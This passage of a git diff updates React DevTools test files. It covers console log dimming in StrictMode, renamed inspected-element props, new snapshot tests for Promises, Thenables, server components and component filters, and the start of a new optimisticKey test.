+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : 'in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+
+    expect(
+      global.consoleErrorMock.mock.calls[0].map(normalizeCodeLocInfo),
+    ).toEqual([
+      'error',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : '\n    in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
+    expect(
+      global.consoleErrorMock.mock.calls[1].map(normalizeCodeLocInfo),
+    ).toEqual([
+      '\x1b[2;38;2;124;124;124m%s %o\x1b[0m',
+      'error',
+      supportsOwnerStacks
+        ? '\n    in Child (at **)\n    in Parent (at **)'
+        : 'in Child (at **)\n    in Intermediate (at **)\n    in Parent (at **)',
+    ]);
   });
-});
 
-describe('console error', () => {
-  beforeEach(() => {
-    jest.resetModules();
-
-    const Console = require('react-devtools-shared/src/backend/console');
-    patchConsole = Console.patch;
-    unpatchConsole = Console.unpatch;
-
-    // Patch a fake console so we can verify with tests below.
-    // Patching the real console is too complicated,
-    // because Jest itself has hooks into it as does our test env setup.
-    mockError = jest.fn();
-    mockInfo = jest.fn();
-    mockGroup = jest.fn();
-    mockGroupCollapsed = jest.fn();
-    mockLog = jest.fn();
-    mockWarn = jest.fn();
-    fakeConsole = {
-      error: mockError,
-      info: mockInfo,
-      log: mockLog,
-      warn: mockWarn,
-      group: mockGroup,
-      groupCollapsed: mockGroupCollapsed,
-    };
+  it('should not dim console logs if disableSecondConsoleLogDimmingInStrictMode is enabled', () => {
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.disableSecondConsoleLogDimmingInStrictMode =
+      true;
 
-    Console.dangerous_setTargetConsoleForTesting(fakeConsole);
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
 
-    const inject = global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject;
-    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.inject = internals => {
-      inject(internals);
+    function App() {
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
+      return <div />;
+    }
 
-      Console.registerRenderer(internals, () => {
-        throw Error('foo');
-      });
-    };
+    act(() =>
+      root.render(
+        <React.StrictMode>
+          <App />
+        </React.StrictMode>,
+      ),
+    );
 
-    React = require('react');
-    ReactDOMClient = require('react-dom/client');
+    // Both logs should be called (double logging)
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);
 
-    const utils = require('./utils');
-    act = utils.act;
+    // The second log should NOT have dimming (no ANSI codes)
+    expect(global.consoleLogMock.mock.calls[1]).toEqual(['log']);
+    expect(global.consoleWarnMock.mock.calls[1]).toEqual(['warn']);
+    expect(global.consoleErrorMock.mock.calls[1]).toEqual(['error']);
   });
 
-  // @reactVersion >=18.0
-  it('error in console log throws without interfering with logging', () => {
+  it('should dim console logs if disableSecondConsoleLogDimmingInStrictMode is disabled', () => {
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.appendComponentStack = false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.hideConsoleLogsInStrictMode =
+      false;
+    global.__REACT_DEVTOOLS_GLOBAL_HOOK__.settings.disableSecondConsoleLogDimmingInStrictMode =
+      false;
+
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
     function App() {
-      fakeConsole.log('log');
-      fakeConsole.warn('warn');
-      fakeConsole.error('error');
+      console.log('log');
+      console.warn('warn');
+      console.error('error');
       return <div />;
     }
 
-    patchConsole({
-      appendComponentStack: true,
-      breakOnConsoleErrors: false,
-      showInlineWarningsAndErrors: true,
-      hideConsoleLogsInStrictMode: false,
-    });
-
-    expect(() => {
-      act(() => {
-        root.render(<App />);
-      });
-    }).toThrowError('foo');
-
-    expect(mockLog).toHaveBeenCalledTimes(1);
-    expect(mockLog.mock.calls[0]).toHaveLength(1);
-    expect(mockLog.mock.calls[0][0]).toBe('log');
+    act(() =>
+      root.render(
+        <React.StrictMode>
+          <App />
+        </React.StrictMode>,
+      ),
+    );
 
-    expect(mockWarn).toHaveBeenCalledTimes(1);
-    expect(mockWarn.mock.calls[0]).toHaveLength(1);
-    expect(mockWarn.mock.calls[0][0]).toBe('warn');
+    // Both logs should be called (double logging)
+    expect(global.consoleLogMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleWarnMock).toHaveBeenCalledTimes(2);
+    expect(global.consoleErrorMock).toHaveBeenCalledTimes(2);
 
-    expect(mockError).toHaveBeenCalledTimes(1);
-    expect(mockError.mock.calls[0]).toHaveLength(1);
-    expect(mockError.mock.calls[0][0]).toBe('error');
+    // The second log should have dimming (ANSI codes present)
+    expect(global.consoleLogMock.mock.calls[1]).toEqual([
+      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
+      'log',
+    ]);
+    expect(global.consoleWarnMock.mock.calls[1]).toEqual([
+      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
+      'warn',
+    ]);
+    expect(global.consoleErrorMock.mock.calls[1]).toEqual([
+      '\x1b[2;38;2;124;124;124m%s\x1b[0m',
+      'error',
+    ]);
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/editing-test.js b/packages/react-devtools-shared/src/__tests__/editing-test.js
index 750e13e38d5d..532b538429e4 100644
--- a/packages/react-devtools-shared/src/__tests__/editing-test.js
+++ b/packages/react-devtools-shared/src/__tests__/editing-test.js
@@ -82,7 +82,12 @@ describe('editing interface', () => {
               shallow="initial"
             />
             ,
-            <input ref={inputRef} onChange={jest.fn()} value="initial" />
+            <input
+              ref={inputRef}
+              onChange={jest.fn()}
+              value="initial"
+              data-foo="test"
+            />
           </>,
         ),
       );
@@ -259,6 +264,14 @@ describe('editing interface', () => {
         },
         after: 'initial',
       });
+      renamePath(hostComponentID, ['data-foo'], ['data-bar']);
+      expect({
+        foo: inputRef.current.dataset.foo,
+        bar: inputRef.current.dataset.bar,
+      }).toEqual({
+        foo: undefined,
+        bar: 'test',
+      });
     });
 
     // @reactVersion >= 16.9
diff --git a/packages/react-devtools-shared/src/__tests__/inspectedElement-test.js b/packages/react-devtools-shared/src/__tests__/inspectedElement-test.js
index a49f2d464bc6..09f811172f30 100644
--- a/packages/react-devtools-shared/src/__tests__/inspectedElement-test.js
+++ b/packages/react-devtools-shared/src/__tests__/inspectedElement-test.js
@@ -34,6 +34,8 @@ describe('InspectedElement', () => {
   let SettingsContextController;
   let StoreContext;
   let TreeContextController;
+  let TreeStateContext;
+  let TreeDispatcherContext;
 
   let TestUtilsAct;
   let TestRendererAct;
@@ -73,6 +75,10 @@ describe('InspectedElement', () => {
       require('react-devtools-shared/src/devtools/views/context').StoreContext;
     TreeContextController =
       require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeContextController;
+    TreeStateContext =
+      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeStateContext;
+    TreeDispatcherContext =
+      require('react-devtools-shared/src/devtools/views/Components/TreeContext').TreeDispatcherContext;
 
     // Used by inspectElementAtIndex() helper function
     utils.act(() => {
@@ -109,20 +115,18 @@ describe('InspectedElement', () => {
 
   const Contexts = ({
     children,
-    defaultSelectedElementID = null,
-    defaultSelectedElementIndex = null,
+    defaultInspectedElementID = null,
+    defaultInspectedElementIndex = null,
   }) => (
     <BridgeContext.Provider value={bridge}>
       <StoreContext.Provider value={store}>
         <SettingsContextController>
           <TreeContextController
-            defaultSelectedElementID={defaultSelectedElementID}
-            defaultSelectedElementIndex={defaultSelectedElementIndex}>
-            <React.Suspense fallback="Loading...">
-              <InspectedElementContextController>
-                {children}
-              </InspectedElementContextController>
-            </React.Suspense>
+            defaultInspectedElementID={defaultInspectedElementID}
+            defaultInspectedElementIndex={defaultInspectedElementIndex}>
+            <InspectedElementContextController>
+              {children}
+            </InspectedElementContextController>
           </TreeContextController>
         </SettingsContextController>
       </StoreContext.Provider>
@@ -162,8 +166,8 @@ describe('InspectedElement', () => {
       testRendererInstance.update(
         <ErrorBoundary>
           <Contexts
-            defaultSelectedElementID={id}
-            defaultSelectedElementIndex={index}>
+            defaultInspectedElementID={id}
+            defaultInspectedElementIndex={index}>
             <React.Suspense fallback={null}>
               <Suspender id={id} index={index} />
             </React.Suspense>
@@ -350,7 +354,7 @@ describe('InspectedElement', () => {
       const {index, shouldHaveLegacyContext} = cases[i];
 
       // HACK: Recreate TestRenderer instance because we rely on default state values
-      // from props like defaultSelectedElementID and it's easier to reset here than
+      // from props like defaultInspectedElementID and it's easier to reset here than
       // to read the TreeDispatcherContext and update the selected ID that way.
       // We're testing the inspected values here, not the context wiring, so that's ok.
       withErrorsOrWarningsIgnored(
@@ -665,7 +669,6 @@ describe('InspectedElement', () => {
           anonymous_fn={instance.anonymousFunction}
           array_buffer={arrayBuffer}
           array_of_arrays={arrayOfArrays}
-          // eslint-disable-next-line no-undef
           big_int={BigInt(123)}
           bound_fn={exampleFunction.bind(this)}
           data_view={dataView}
@@ -679,6 +682,7 @@ describe('InspectedElement', () => {
           object_with_symbol={objectWithSymbol}
           proxy={proxyInstance}
           react_element={<span />}
+          react_lazy={React.lazy(async () => ({default: 'foo'}))}
           regexp={/abc/giu}
           set={setShallow}
           set_of_sets={setOfSets}
@@ -693,8 +697,8 @@ describe('InspectedElement', () => {
     expect(inspectedElement.props).toMatchInlineSnapshot(`
       {
         "anonymous_fn": Dehydrated {
-          "preview_short": ƒ () {},
-          "preview_long": ƒ () {},
+          "preview_short": () => {},
+          "preview_long": () => {},
         },
         "array_buffer": Dehydrated {
           "preview_short": ArrayBuffer(3),
@@ -711,8 +715,8 @@ describe('InspectedElement', () => {
           "preview_long": 123n,
         },
         "bound_fn": Dehydrated {
-          "preview_short": ƒ bound exampleFunction() {},
-          "preview_long": ƒ bound exampleFunction() {},
+          "preview_short": bound exampleFunction() {},
+          "preview_long": bound exampleFunction() {},
         },
         "data_view": Dehydrated {
           "preview_short": DataView(3),
@@ -723,8 +727,8 @@ describe('InspectedElement', () => {
           "preview_long": Tue Dec 31 2019 23:42:42 GMT+0000 (Coordinated Universal Time),
         },
         "fn": Dehydrated {
-          "preview_short": ƒ exampleFunction() {},
-          "preview_long": ƒ exampleFunction() {},
+          "preview_short": exampleFunction() {},
+          "preview_long": exampleFunction() {},
         },
         "html_element": Dehydrated {
           "preview_short": <div />,
@@ -774,12 +778,21 @@ describe('InspectedElement', () => {
           "Symbol(name)": "hello",
         },
         "proxy": Dehydrated {
-          "preview_short": ƒ () {},
-          "preview_long": ƒ () {},
+          "preview_short": () => {},
+          "preview_long": () => {},
+        },
+        "react_element": {
+          "key": null,
+          "props": Dehydrated {
+            "preview_short": {…},
+            "preview_long": {},
+          },
         },
-        "react_element": Dehydrated {
-          "preview_short": <span />,
-          "preview_long": <span />,
+        "react_lazy": {
+          "_payload": Dehydrated {
+            "preview_short": {…},
+            "preview_long": {_ioInfo: {…}, _result: () => {}, _status: -1},
+          },
         },
         "regexp": Dehydrated {
           "preview_short": /abc/giu,
@@ -812,6 +825,130 @@ describe('InspectedElement', () => {
     `);
   });
 
+  it('should support Thenables in React 19', async () => {
+    const Example = () => null;
+
+    class SubclassedPromise extends Promise {}
+
+    const plainThenable = {then() {}};
+    const subclassedPromise = new SubclassedPromise(() => {});
+    const unusedPromise = Promise.resolve();
+    const usedFulfilledPromise = Promise.resolve();
+    const usedFulfilledRichPromise = Promise.resolve({
+      some: {
+        deeply: {
+          nested: {
+            object: {
+              string: 'test',
+              fn: () => {},
+            },
+          },
+        },
+      },
+    });
+    const usedPendingPromise = new Promise(resolve => {});
+    const usedRejectedPromise = Promise.reject(
+      new Error('test-error-do-not-surface'),
+    );
+
+    function Use({value}) {
+      React.use(value);
+    }
+
+    await utils.actAsync(() =>
+      render(
+        <>
+          <Example
+            plainThenable={plainThenable}
+            subclassedPromise={subclassedPromise}
+            unusedPromise={unusedPromise}
+            usedFulfilledPromise={usedFulfilledPromise}
+            usedFulfilledRichPromise={usedFulfilledRichPromise}
+            usedPendingPromise={usedPendingPromise}
+            usedRejectedPromise={usedRejectedPromise}
+          />
+          <React.Suspense>
+            <Use value={usedPendingPromise} />
+          </React.Suspense>
+          <React.Suspense>
+            <Use value={usedFulfilledPromise} />
+          </React.Suspense>
+          <React.Suspense>
+            <Use value={usedFulfilledRichPromise} />
+          </React.Suspense>
+          <ErrorBoundary>
+            <React.Suspense>
+              <Use value={usedRejectedPromise} />
+            </React.Suspense>
+          </ErrorBoundary>
+        </>,
+      ),
+    );
+
+    const inspectedElement = await inspectElementAtIndex(0);
+
+    expect(inspectedElement.props).toMatchInlineSnapshot(`
+      {
+        "plainThenable": Dehydrated {
+          "preview_short": Thenable,
+          "preview_long": Thenable,
+        },
+        "subclassedPromise": Dehydrated {
+          "preview_short": SubclassedPromise,
+          "preview_long": SubclassedPromise,
+        },
+        "unusedPromise": Dehydrated {
+          "preview_short": Promise,
+          "preview_long": Promise,
+        },
+        "usedFulfilledPromise": {
+          "value": undefined,
+        },
+        "usedFulfilledRichPromise": {
+          "value": Dehydrated {
+            "preview_short": {…},
+            "preview_long": {some: {…}},
+          },
+        },
+        "usedPendingPromise": Dehydrated {
+          "preview_short": pending Promise,
+          "preview_long": pending Promise,
+        },
+        "usedRejectedPromise": {
+          "reason": Dehydrated {
+            "preview_short": Error: test-error-do-not-surface,
+            "preview_long": Error: test-error-do-not-surface,
+          },
+        },
+      }
+    `);
+  });
+
+  it('should support Promises in React 18', async () => {
+    const Example = () => null;
+
+    const unusedPromise = Promise.resolve();
+
+    await utils.actAsync(() =>
+      render(
+        <>
+          <Example unusedPromise={unusedPromise} />
+        </>,
+      ),
+    );
+
+    const inspectedElement = await inspectElementAtIndex(0);
+
+    expect(inspectedElement.props).toMatchInlineSnapshot(`
+          {
+            "unusedPromise": Dehydrated {
+              "preview_short": Promise,
+              "preview_long": Promise,
+            },
+          }
+      `);
+  });
+
   it('should not consume iterables while inspecting', async () => {
     const Example = () => null;
 
@@ -1876,7 +2013,7 @@ describe('InspectedElement', () => {
         xyz: 1,
       },
     });
-    const bigInt = BigInt(123); // eslint-disable-line no-undef
+    const bigInt = BigInt(123);
 
     await utils.actAsync(() =>
       render(
@@ -2014,16 +2151,16 @@ describe('InspectedElement', () => {
       {
         "proxy": {
           "$$typeof": Dehydrated {
-            "preview_short": ƒ () {},
-            "preview_long": ƒ () {},
+            "preview_short": () => {},
+            "preview_long": () => {},
           },
           "Symbol(Symbol.iterator)": Dehydrated {
-            "preview_short": ƒ () {},
-            "preview_long": ƒ () {},
+            "preview_short": () => {},
+            "preview_long": () => {},
           },
           "constructor": Dehydrated {
-            "preview_short": ƒ () {},
-            "preview_long": ƒ () {},
+            "preview_short": () => {},
+            "preview_long": () => {},
           },
         },
       }
@@ -2065,7 +2202,7 @@ describe('InspectedElement', () => {
     }, false);
 
     // HACK: Recreate TestRenderer instance because we rely on default state values
-    // from props like defaultSelectedElementID and it's easier to reset here than
+    // from props like defaultInspectedElementID and it's easier to reset here than
     // to read the TreeDispatcherContext and update the selected ID that way.
     // We're testing the inspected values here, not the context wiring, so that's ok.
     withErrorsOrWarningsIgnored(
@@ -2125,7 +2262,7 @@ describe('InspectedElement', () => {
     }, false);
 
     // HACK: Recreate TestRenderer instance because we rely on default state values
-    // from props like defaultSelectedElementID and it's easier to reset here than
+    // from props like defaultInspectedElementID and it's easier to reset here than
     // to read the TreeDispatcherContext and update the selected ID that way.
     // We're testing the inspected values here, not the context wiring, so that's ok.
     withErrorsOrWarningsIgnored(
@@ -2144,7 +2281,7 @@ describe('InspectedElement', () => {
         "context": null,
         "events": undefined,
         "hooks": null,
-        "id": 2,
+        "id": 4,
         "owners": null,
         "props": {},
         "rootType": "createRoot()",
@@ -2404,8 +2541,8 @@ describe('InspectedElement', () => {
       await utils.actAsync(() => {
         root = TestRenderer.create(
           <Contexts
-            defaultSelectedElementID={id}
-            defaultSelectedElementIndex={index}>
+            defaultInspectedElementID={id}
+            defaultInspectedElementIndex={index}>
             <React.Suspense fallback={null}>
               <Suspender target={id} />
             </React.Suspense>
@@ -2889,26 +3026,29 @@ describe('InspectedElement', () => {
     `);
 
     const inspectedElement = await inspectElementAtIndex(4);
-    expect(inspectedElement.owners).toMatchInlineSnapshot(`
-      [
-        {
-          "compiledWithForget": false,
-          "displayName": "Child",
-          "hocDisplayNames": null,
-          "id": 5,
-          "key": null,
-          "type": 5,
-        },
-        {
-          "compiledWithForget": false,
-          "displayName": "App",
-          "hocDisplayNames": null,
-          "id": 4,
-          "key": null,
-          "type": 5,
-        },
-      ]
-    `);
+    // TODO: Ideally this should match the owners of the Group but those are
+    // part of a different parent tree. Ideally the Group would be parent of
+    // that parent tree though which would fix this issue.
+    //
+    // [
+    //   {
+    //     "compiledWithForget": false,
+    //     "displayName": "Child",
+    //     "hocDisplayNames": null,
+    //     "id": 8,
+    //     "key": null,
+    //     "type": 5,
+    //   },
+    //   {
+    //     "compiledWithForget": false,
+    //     "displayName": "App",
+    //     "hocDisplayNames": null,
+    //     "id": 7,
+    //     "key": null,
+    //     "type": 5,
+    //   },
+    // ]
+    expect(inspectedElement.owners).toMatchInlineSnapshot(`[]`);
   });
 
   describe('error boundary', () => {
@@ -2968,16 +3108,12 @@ describe('InspectedElement', () => {
       // Inspect <ErrorBoundary /> and see that we cannot toggle error state
       // on error boundary itself
       let inspectedElement = await inspect(0);
-      expect(inspectedElement.canToggleError).toBe(false);
-      expect(inspectedElement.targetErrorBoundaryID).toBe(null);
+      expect(inspectedElement.canToggleError).toBe(true);
 
       // Inspect <Example />
       inspectedElement = await inspect(1);
       expect(inspectedElement.canToggleError).toBe(true);
       expect(inspectedElement.isErrored).toBe(false);
-      expect(inspectedElement.targetErrorBoundaryID).toBe(
-        targetErrorBoundaryID,
-      );
 
       // Suppress expected error and warning.
       const consoleErrorMock = jest
@@ -3002,10 +3138,6 @@ describe('InspectedElement', () => {
       inspectedElement = await inspect(0);
       expect(inspectedElement.canToggleError).toBe(true);
       expect(inspectedElement.isErrored).toBe(true);
-      // its error boundary ID is itself because it's caught the error
-      expect(inspectedElement.targetErrorBoundaryID).toBe(
-        targetErrorBoundaryID,
-      );
 
       await toggleError(false);
 
@@ -3013,9 +3145,167 @@ describe('InspectedElement', () => {
       inspectedElement = await inspect(1);
       expect(inspectedElement.canToggleError).toBe(true);
       expect(inspectedElement.isErrored).toBe(false);
-      expect(inspectedElement.targetErrorBoundaryID).toBe(
-        targetErrorBoundaryID,
+    });
+  });
+
+  it('should properly handle when components filters are updated', async () => {
+    const Wrapper = ({children}) => children;
+
+    let state;
+    let dispatch;
+    const Capture = () => {
+      dispatch = React.useContext(TreeDispatcherContext);
+      state = React.useContext(TreeStateContext);
+      return null;
+    };
+
+    function Child({logError = false, logWarning = false}) {
+      if (logError === true) {
+        console.error('test-only: error');
+      }
+      if (logWarning === true) {
+        console.warn('test-only: warning');
+      }
+      return null;
+    }
+
+    async function selectNextErrorOrWarning() {
+      await utils.actAsync(
+        () =>
+          dispatch({type: 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE'}),
+        false,
       );
+    }
+
+    async function selectPreviousErrorOrWarning() {
+      await utils.actAsync(
+        () =>
+          dispatch({
+            type: 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE',
+          }),
+        false,
+      );
+    }
+
+    withErrorsOrWarningsIgnored(['test-only:'], () =>
+      utils.act(() =>
+        render(
+          <React.Fragment>
+            <Wrapper>
+              <Child logWarning={true} />
+            </Wrapper>
+            <Wrapper>
+              <Wrapper>
+                <Child logWarning={true} />
+              </Wrapper>
+            </Wrapper>
+          </React.Fragment>,
+        ),
+      ),
+    );
+
+    utils.act(() =>
+      TestRenderer.create(
+        <Contexts>
+          <Capture />
+        </Contexts>,
+      ),
+    );
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+         ▾ <Wrapper>
+             <Child> ⚠
+         ▾ <Wrapper>
+           ▾ <Wrapper>
+               <Child> ⚠
+    `);
+
+    await selectNextErrorOrWarning();
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+         ▾ <Wrapper>
+      →      <Child> ⚠
+         ▾ <Wrapper>
+           ▾ <Wrapper>
+               <Child> ⚠
+    `);
+
+    await utils.actAsync(() => {
+      store.componentFilters = [utils.createDisplayNameFilter('Wrapper')];
+      jest.runOnlyPendingTimers();
+    }, false);
+
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+      →    <Child> ⚠
+           <Child> ⚠
+    `);
+
+    await selectNextErrorOrWarning();
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+           <Child> ⚠
+      →    <Child> ⚠
+    `);
+
+    await utils.actAsync(() => {
+      store.componentFilters = [];
+      jest.runOnlyPendingTimers();
+    }, false);
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+         ▾ <Wrapper>
+             <Child> ⚠
+         ▾ <Wrapper>
+           ▾ <Wrapper>
+      →        <Child> ⚠
+    `);
+
+    await selectPreviousErrorOrWarning();
+    expect(state).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+         ▾ <Wrapper>
+      →      <Child> ⚠
+         ▾ <Wrapper>
+           ▾ <Wrapper>
+               <Child> ⚠
+    `);
+  });
+
+  // @reactVersion > 18.2
+  it('should inspect server components', async () => {
+    const ChildPromise = Promise.resolve(<div />);
+    ChildPromise._debugInfo = [
+      {
+        name: 'ServerComponent',
+        env: 'Server',
+        owner: null,
+      },
+    ];
+    const Parent = () => ChildPromise;
+
+    await utils.actAsync(() => {
+      modernRender(<Parent />);
     });
+
+    const inspectedElement = await inspectElementAtIndex(1);
+    expect(inspectedElement).toMatchInlineSnapshot(`
+      {
+        "context": null,
+        "events": undefined,
+        "hooks": null,
+        "id": 3,
+        "owners": null,
+        "props": null,
+        "rootType": "createRoot()",
+        "state": null,
+      }
+    `);
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/legacy/inspectElement-test.js b/packages/react-devtools-shared/src/__tests__/legacy/inspectElement-test.js
index f05c832c56c1..f306ab97093d 100644
--- a/packages/react-devtools-shared/src/__tests__/legacy/inspectElement-test.js
+++ b/packages/react-devtools-shared/src/__tests__/legacy/inspectElement-test.js
@@ -185,7 +185,6 @@ describe('InspectedElementContext', () => {
           anonymous_fn: instance.anonymousFunction,
           array_buffer: arrayBuffer,
           array_of_arrays: arrayOfArrays,
-          // eslint-disable-next-line no-undef
           big_int: BigInt(123),
           bound_fn: exampleFunction.bind(this),
           data_view: dataView,
@@ -213,8 +212,8 @@ describe('InspectedElementContext', () => {
     expect(inspectedElement.props).toMatchInlineSnapshot(`
       {
         "anonymous_fn": Dehydrated {
-          "preview_short": ƒ () {},
-          "preview_long": ƒ () {},
+          "preview_short": () => {},
+          "preview_long": () => {},
         },
         "array_buffer": Dehydrated {
           "preview_short": ArrayBuffer(3),
@@ -231,8 +230,8 @@ describe('InspectedElementContext', () => {
           "preview_long": 123n,
         },
         "bound_fn": Dehydrated {
-          "preview_short": ƒ bound exampleFunction() {},
-          "preview_long": ƒ bound exampleFunction() {},
+          "preview_short": bound exampleFunction() {},
+          "preview_long": bound exampleFunction() {},
         },
         "data_view": Dehydrated {
           "preview_short": DataView(3),
@@ -243,8 +242,8 @@ describe('InspectedElementContext', () => {
           "preview_long": Thu Jan 01 1970 00:00:00 GMT+0000 (Coordinated Universal Time),
         },
         "fn": Dehydrated {
-          "preview_short": ƒ exampleFunction() {},
-          "preview_long": ƒ exampleFunction() {},
+          "preview_short": exampleFunction() {},
+          "preview_long": exampleFunction() {},
         },
         "html_element": Dehydrated {
           "preview_short": <div />,
@@ -291,22 +290,12 @@ describe('InspectedElementContext', () => {
           },
         },
         "react_element": {
-          "$$typeof": Dehydrated {
-            "preview_short": Symbol(react.element),
-            "preview_long": Symbol(react.element),
-          },
-          "_owner": null,
-          "_store": Dehydrated {
-            "preview_short": {…},
-            "preview_long": {},
-          },
           "key": null,
           "props": Dehydrated {
             "preview_short": {…},
             "preview_long": {},
           },
           "ref": null,
-          "type": "span",
         },
         "regexp": Dehydrated {
           "preview_short": /abc/giu,
@@ -888,7 +877,7 @@ describe('InspectedElementContext', () => {
         xyz: 1,
       },
     });
-    const bigInt = BigInt(123); // eslint-disable-line no-undef
+    const bigInt = BigInt(123);
 
     act(() =>
       ReactDOM.render(
diff --git a/packages/react-devtools-shared/src/__tests__/legacy/storeLegacy-v15-test.js b/packages/react-devtools-shared/src/__tests__/legacy/storeLegacy-v15-test.js
index f912638fb508..e4ef6612ecbd 100644
--- a/packages/react-devtools-shared/src/__tests__/legacy/storeLegacy-v15-test.js
+++ b/packages/react-devtools-shared/src/__tests__/legacy/storeLegacy-v15-test.js
@@ -868,89 +868,6 @@ describe('Store (legacy)', () => {
       `);
     });
 
-    // TODO: These tests don't work when enableRefAsProp is on because the
-    // JSX runtime that's injected into the test environment by the compiler
-    // is not compatible with older versions of React. Need to configure the
-    // the test environment in such a way that certain test modules like this
-    // one can use an older transform.
-    if (!require('shared/ReactFeatureFlags').enableRefAsProp) {
-      it('should support expanding deep parts of the tree', () => {
-        const Wrapper = ({forwardedRef}) =>
-          React.createElement(Nested, {
-            depth: 3,
-            forwardedRef: forwardedRef,
-          });
-        const Nested = ({depth, forwardedRef}) =>
-          depth > 0
-            ? React.createElement(Nested, {
-                depth: depth - 1,
-                forwardedRef: forwardedRef,
-              })
-            : React.createElement('div', {
-                ref: forwardedRef,
-              });
-        let ref = null;
-        const refSetter = value => {
-          ref = value;
-        };
-        act(() =>
-          ReactDOM.render(
-            React.createElement(Wrapper, {
-              forwardedRef: refSetter,
-            }),
-            document.createElement('div'),
-          ),
-        );
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▸ <Wrapper>
-      `);
-        const deepestedNodeID = global.agent.getIDForNode(ref);
-        act(() => store.toggleIsCollapsed(deepestedNodeID, false));
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <Wrapper>
-            ▾ <Nested>
-              ▾ <Nested>
-                ▾ <Nested>
-                  ▾ <Nested>
-                      <div>
-      `);
-        const rootID = store.getElementIDAtIndex(0);
-        act(() => store.toggleIsCollapsed(rootID, true));
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▸ <Wrapper>
-      `);
-        act(() => store.toggleIsCollapsed(rootID, false));
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <Wrapper>
-            ▾ <Nested>
-              ▾ <Nested>
-                ▾ <Nested>
-                  ▾ <Nested>
-                      <div>
-      `);
-        const id = store.getElementIDAtIndex(1);
-        act(() => store.toggleIsCollapsed(id, true));
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <Wrapper>
-            ▸ <Nested>
-      `);
-        act(() => store.toggleIsCollapsed(id, false));
-        expect(store).toMatchInlineSnapshot(`
-        [root]
-          ▾ <Wrapper>
-            ▾ <Nested>
-              ▾ <Nested>
-                ▾ <Nested>
-                  ▾ <Nested>
-                      <div>
-      `);
-      });
-    }
     it('should support reordering of children', () => {
       const Root = ({children}) => React.createElement('div', null, children);
       const Component = () => React.createElement('div', null);
diff --git a/packages/react-devtools-shared/src/__tests__/optimisticKeyDevToolsIntegration.js b/packages/react-devtools-shared/src/__tests__/optimisticKeyDevToolsIntegration.js
new file mode 100644
index 000000000000..5a6fab25c3c4
--- /dev/null
+++ b/packages/react-devtools-shared/src/__tests__/optimisticKeyDevToolsIntegration.js
@@ -0,0 +1,131 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import {getVersionedRenderImplementation} from './utils';
+
+describe('Store React.optimisticKey', () => {
+  let act;
+  let actAsync;
+  let React;
+  let TestRenderer;
+  let bridge;
+  let store;
+
+  let BridgeContext;
+  let StoreContext;
+  let TreeContext;
+
+  let dispatch;
+  let state;
+
+  beforeAll(() => {
+    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes
+    Element.prototype.getClientRects = function (this: Element) {
+      const textContent = this.textContent;
+      return [
+        new DOMRect(1, 2, textContent.length, textContent.split('\n').length),
+      ];
+    };
+  });
+
+  beforeEach(() => {
+    global.IS_REACT_ACT_ENVIRONMENT = true;
+
+    store = global.store;
+    bridge = global.bridge;
+
+    React = require('react');
+
+    const utils = require('./utils');
+    act = utils.act;
+    actAsync = utils.actAsync;
+    TestRenderer = utils.requireTestRenderer();
+
+    BridgeContext =
+      require('react-devtools-shared/src/devtools/views/context').BridgeContext;
+    StoreContext =
+      require('react-devtools-shared/src/devtools/views/context').StoreContext;
+    TreeContext = require('react-devtools-shared/src/devtools/views/Components/TreeContext');
+  });
+
+  const {render} = getVersionedRenderImplementation();
+
+  const Capture = () => {
+    dispatch = React.useContext(TreeContext.TreeDispatcherContext);
+    state = React.useContext(TreeContext.TreeStateContext);
+    return null;
+  };
+
+  const Contexts = () => {
+    return (
+      <BridgeContext.Provider value={bridge}>
+        <StoreContext.Provider value={store}>
+          <TreeContext.TreeContextController>
+            <Capture />
+          </TreeContext.TreeContextController>
+        </StoreContext.Provider>
+      </BridgeContext.Provider>
+    );
+  };
+
+  // @reactVersion >= 19.3
+  it('is included in the tree', async () => {
+    if (React.optimisticKey === undefined) {
+      return;
+    }
+
